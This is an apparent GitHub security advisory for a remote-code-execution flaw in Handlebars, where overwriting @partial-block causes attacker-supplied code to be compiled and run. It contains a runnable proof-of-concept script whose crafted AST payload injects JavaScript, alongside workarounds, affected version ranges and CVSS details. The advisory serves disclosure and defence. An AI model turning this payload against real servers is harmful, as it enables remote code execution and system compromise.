CVE-2026-33938
ADVISORY - githubSummary
Summary
The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.
Description
Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.
When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.
The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.
Proof of Concept
Tested with Handlebars 4.7.8 and handlebars-helpers:
const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);
const vulnerableTemplate = `
{{#*inline "myPartial"}}
{{>@partial-block}}
{{>@partial-block}}
{{/inline}}
{{#>myPartial}}
{{merge @_parent partial-block=1}}
{{merge @_parent partial-block=payload}}
{{/myPartial}}
`;
const maliciousContext = {
payload: {
type: "Program",
body: [
{
type: "MustacheStatement",
depth: 0,
path: {
type: "PathExpression",
parts: ["pop"],
original: "this.pop",
// Code injected via depth field — breaks out of generated function call
depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
},
},
],
},
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block
Workarounds
- Use the runtime-only build (
require('handlebars/runtime')). Thecompile()method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
- Avoid registering helpers from third-party packages (such as
handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.
Common Weakness Enumeration (CWE)
Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
GitHub
CVSS SCORE
8.1high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| handlebars | npm | - | - | >=4.0.0,<=4.7.8 | 4.7.9 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
A successful attack depends on conditions beyond the attacker's control, requiring investing a measurable amount of effort in research, preparation, or execution against the vulnerable component before a successful attack.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
The vulnerable system can be exploited without interaction from any user.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.
NIST
CVSS SCORE
8.1highDebian
-
Red Hat
2.2